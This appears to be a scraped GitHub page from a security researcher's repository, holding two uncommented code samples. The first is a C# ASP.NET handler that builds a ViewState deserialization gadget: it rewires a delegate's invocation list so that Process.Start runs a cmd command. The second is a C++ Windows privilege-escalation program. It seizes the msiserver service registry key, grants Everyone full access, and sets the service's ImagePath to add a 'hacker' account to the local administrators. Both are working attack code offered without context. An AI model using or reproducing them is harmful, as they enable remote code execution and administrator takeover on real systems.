3gstudent / homework-of-c-language Goto Github PK

 protected void Button2_Click(object sender, EventArgs e) {
            Delegate da = new Comparison<string>(String.Compare);
            Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da);
            IComparer<string> comp = Comparer<string>.Create(d);
            SortedSet<string> set = new SortedSet<string>(comp);
            set.Add("cmd");
            set.Add("/c " + "echo 111>c:\\windows\\temp\\test.txt");

            FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
            object[] invoke_list = d.GetInvocationList();
            // Modify the invocation list to add Process::Start(string, string)
            invoke_list[1] = new Func<string, string, Process>(Process.Start);
            fi.SetValue(d, invoke_list);
            ViewState["test"] = set;
    }

// takeOwnerShip2.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <Windows.h>
#include <winternl.h>
#include <Windows.h>
#include <sddl.h>
#include <TlHelp32.h>
#include <stdio.h>
#include <string>
#include <tchar.h>
#include <AclAPI.h>
#include<iostream>

PVOID
GetInfoFromToken(HANDLE current_token, TOKEN_INFORMATION_CLASS tic)
{
	DWORD n;
	PVOID data;

	if (!GetTokenInformation(current_token, tic, 0, 0, &n) && GetLastError() != ERROR_INSUFFICIENT_BUFFER)
		return 0;

	data = (PVOID)malloc(n);

	if (GetTokenInformation(current_token, tic, data, n, &n))
		return data;
	else
		free(data);

	return 0;
}

int main()
{
	wchar_t infile[] = L"MACHINE\\SYSTEM\\CurrentControlSet\\Services\\msiserver";
	HANDLE current_token;
	OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &current_token);
	PTOKEN_USER user = (PTOKEN_USER)GetInfoFromToken(current_token, TokenUser);
	PSID UserSid = (LPTSTR)user->User.Sid;
	DWORD dwRes = SetNamedSecurityInfoW(infile, SE_REGISTRY_KEY, OWNER_SECURITY_INFORMATION, UserSid, NULL, NULL, NULL);

	PSID pSIDEveryone = NULL;
	PACL pACL;
	SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
	AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pSIDEveryone);
	EXPLICIT_ACCESS ea[1];
	ea[0].grfAccessPermissions = KEY_ALL_ACCESS;
	ea[0].grfAccessMode = SET_ACCESS;
	ea[0].grfInheritance = NO_INHERITANCE;
	ea[0].Trustee.TrusteeForm = TRUSTEE_IS_SID;
	ea[0].Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
	ea[0].Trustee.ptstrName = (LPTSTR)pSIDEveryone;
	SetEntriesInAcl(1, ea, NULL, &pACL);


	//wchar_t infile[] = L"SYSTEM\\CurrentControlSet\\Services\\msiserver";
	dwRes = SetNamedSecurityInfoW(infile, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, NULL, NULL, pACL, NULL);
	if (dwRes != ERROR_SUCCESS)
		printf("[-] Failed to set owner: %d\n", dwRes);
	else
		printf("[!] Success!\n");


	HKEY hKey;
	LONG lResult;
	lResult = RegCreateKeyExA(
		HKEY_LOCAL_MACHINE,
		"SYSTEM\\CurrentControlSet\\Services\\msiserver",
		0,
		NULL,
		REG_OPTION_BACKUP_RESTORE,
		KEY_SET_VALUE,
		NULL,
		&hKey,
		NULL);
	std::cout << "RegCreateKeyExA result: " << lResult << std::endl;
	if (lResult != 0) {
		exit(0);
	}

	//HKEY hk = HKEY("SYSTEM\\CurrentControlSet\\Services\\msiserver");
	std::string buffer = "cmd.exe /c net localgroup administrators hacker /add";
	LONG stat = RegSetValueExA(hKey, "ImagePath", 0,
		REG_EXPAND_SZ,
		(const BYTE*)buffer.c_str(),
		buffer.length() + 1);
	std::cout << "RegSetValueExA result: " << stat << std::endl;
	if (stat != 0) {
		exit(0);
	}
}